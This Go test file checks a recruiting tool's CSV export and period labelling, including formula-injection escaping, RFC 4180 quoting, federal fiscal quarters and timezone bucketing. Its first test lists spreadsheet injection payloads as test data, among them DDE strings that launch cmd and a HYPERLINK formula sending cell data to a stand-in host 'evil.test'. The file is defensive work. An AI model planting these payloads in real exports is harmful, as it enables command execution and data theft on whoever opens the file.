package recruiting

import (
	"strings"
	"testing"
	"time"
)

// TestCSVNeutralisesFormulaInjection. These are the payloads that execute when a client opens the file,
// and the candidate name they arrive in comes from a parsed resume.
func TestCSVNeutralisesFormulaInjection(t *testing.T) {
	attacks := []string{
		`=cmd|'/c calc.exe'!A1`,
		`=HYPERLINK("http://evil.test?d="&A1,"Click")`,
		`@SUM(1+1)*cmd|' /c calc'!A0`,
		`+cmd|'/c notepad'!A1`,
		`-2+3+cmd|'/c calc'!A0`,
		"\t=1+1",
		"\r=1+1",
		`=1+1`,
		`@foo`,
	}
	for _, a := range attacks {
		got := csvCell(a)
		if !strings.HasPrefix(got, "'") {
			t.Errorf("payload %q was written unescaped as %q", a, got)
		}
		// The original text is preserved after the marker, so the export is still readable.
		if got[1:] != a {
			t.Errorf("payload %q was altered to %q beyond the marker", a, got)
		}
	}
}

// TestCSVPreservesLegitimateNumbers is the half most implementations get wrong. Escaping every value
// that begins with a minus sign corrupts every negative rate, margin and variance in the report.
func TestCSVPreservesLegitimateNumbers(t *testing.T) {
	for _, ok := range []string{
		"-5.50", "-0.01", "-100", "+1", "+3.25", "0", "12.75", "-0.0000", "5", "-5",
	} {
		if got := csvCell(ok); got != ok {
			t.Errorf("legitimate number %q was corrupted to %q", ok, got)
		}
	}
	// And things that merely look numeric are still escaped.
	for _, bad := range []string{"-5-5", "-1+1", "+1+1", "-5a", "-", "+", "-.", "-5.5.5", "=5"} {
		if got := csvCell(bad); !strings.HasPrefix(got, "'") {
			t.Errorf("%q is not a number but was written unescaped as %q", bad, got)
		}
	}
}

// TestCSVLeavesOrdinaryTextAlone. A guard that mangles normal data gets removed by the next person.
func TestCSVLeavesOrdinaryTextAlone(t *testing.T) {
	for _, s := range []string{
		"", "Aisha Karim", "Cleared Systems Engineer, TS/SCI", "client_declined",
		"Left a message", "2026-07-20", "33.33", "Booz Allen", "a=b",
	} {
		if got := csvCell(s); got != s {
			t.Errorf("ordinary value %q was altered to %q", s, got)
		}
	}
}

// TestCSVStillQuotesPerRFC4180. Neutralising formulas must not break the escaping that makes the file
// parse at all.
func TestCSVStillQuotesPerRFC4180(t *testing.T) {
	b := newCSV()
	b.row("Name", "Note")
	b.row("Legitimate, Name", "He said \"no\"")
	b.row("Line\nbreak", "=1+1")
	out := b.String()

	if !strings.Contains(out, `"Legitimate, Name"`) {
		t.Error("a value containing a comma was not quoted")
	}
	if !strings.Contains(out, `"He said ""no"""`) {
		t.Error("embedded quotes were not doubled")
	}
	if !strings.Contains(out, "\"Line\nbreak\"") {
		t.Error("a value containing a newline was not quoted")
	}
	if !strings.Contains(out, "'=1+1") {
		t.Error("a formula survived into the output")
	}
	if b.Rows() != 3 {
		t.Errorf("row count = %d, want 3", b.Rows())
	}
}

// TestFiscalQuarterLabelling. The federal fiscal year is named for the year it ENDS in, so 1 October
// 2025 begins FY2026. Getting it backwards mislabels every quarter by a year, and it is the single most
// common mistake in federal reporting.
func TestFiscalQuarterLabelling(t *testing.T) {
	for _, c := range []struct {
		start string
		want  string
	}{
		{"2025-10-01", "FY2026 Q1"}, // October begins the NEXT fiscal year
		{"2026-01-01", "FY2026 Q2"},
		{"2026-04-01", "FY2026 Q3"},
		{"2026-07-01", "FY2026 Q4"},
		{"2026-10-01", "FY2027 Q1"},
		{"2026-12-31", "FY2027 Q1"}, // still inside the October quarter
		{"2026-09-30", "FY2026 Q4"}, // the last day of the fiscal year
	} {
		d, err := time.Parse("2006-01-02", c.start)
		if err != nil {
			t.Fatal(err)
		}
		if got := fiscalLabel(d); got != c.want {
			t.Errorf("fiscalLabel(%s) = %q, want %q", c.start, got, c.want)
		}
	}
}

// TestFiscalAndCalendarQuartersDisagreeAsTheyShould. If these ever produced the same label the fiscal
// option would be decoration rather than a different answer.
func TestFiscalAndCalendarQuartersDiffer(t *testing.T) {
	oct, _ := time.Parse("2006-01-02", "2025-10-01")
	cal := periodLabel(oct, PeriodQuarter)
	fis := periodLabel(oct, PeriodFiscalQuarter)
	if cal == fis {
		t.Fatalf("calendar and fiscal labels agree (%q), so the fiscal grain does nothing", cal)
	}
	if cal != "Q4 2025" {
		t.Errorf("calendar label = %q, want Q4 2025", cal)
	}
	if fis != "FY2026 Q1" {
		t.Errorf("fiscal label = %q, want FY2026 Q1", fis)
	}
}

// TestPeriodExprAlwaysConvertsToTheOrganizationTimezone. Bucketing on a raw UTC timestamp puts evening
// work in the wrong day, and twice a year in the wrong month. Migration 0057 exists for this.
func TestPeriodExprUsesOrgTimezone(t *testing.T) {
	for p := range periods {
		expr := periodExpr("x.occurred_at", p)
		if !strings.Contains(expr, "AT TIME ZONE rm_org_tz()") {
			t.Errorf("period %q buckets without converting to the organization timezone: %s", p, expr)
		}
		if !strings.Contains(expr, "date_trunc") {
			t.Errorf("period %q does not truncate: %s", p, expr)
		}
	}
	// The fiscal grain must shift the year boundary; a plain quarter truncation would not.
	fq := periodExpr("x.occurred_at", PeriodFiscalQuarter)
	if !strings.Contains(fq, "3 months") {
		t.Errorf("the fiscal quarter does not shift the boundary: %s", fq)
	}
}

// TestPeriodLabels render each grain distinctly, so a header cannot be mistaken for another grain.
func TestPeriodLabels(t *testing.T) {
	d, _ := time.Parse("2006-01-02", "2026-03-02") // a Monday
	for _, c := range []struct {
		p    Period
		want string
	}{
		{PeriodDay, "2026-03-02"},
		{PeriodWeek, "Week of 2026-03-02"},
		{PeriodMonth, "March 2026"},
		{PeriodQuarter, "Q1 2026"},
		{PeriodFiscalQuarter, "FY2026 Q2"},
	} {
		if got := periodLabel(d, c.p); got != c.want {
			t.Errorf("periodLabel(%s) = %q, want %q", c.p, got, c.want)
		}
	}
}

// TestPeriodVocabularyIsClosed. An unknown grain must be refused rather than silently falling back to
// days, which would label a report one thing and compute another.
func TestPeriodVocabularyIsClosed(t *testing.T) {
	if len(periods) != 5 {
		t.Errorf("%d periods defined, want 5", len(periods))
	}
	for _, p := range []Period{PeriodDay, PeriodWeek, PeriodMonth, PeriodQuarter, PeriodFiscalQuarter} {
		if !periods[p] {
			t.Errorf("period %q is missing from the vocabulary", p)
		}
	}
	if periods["fortnight"] {
		t.Error("an unknown period is in the vocabulary")
	}
}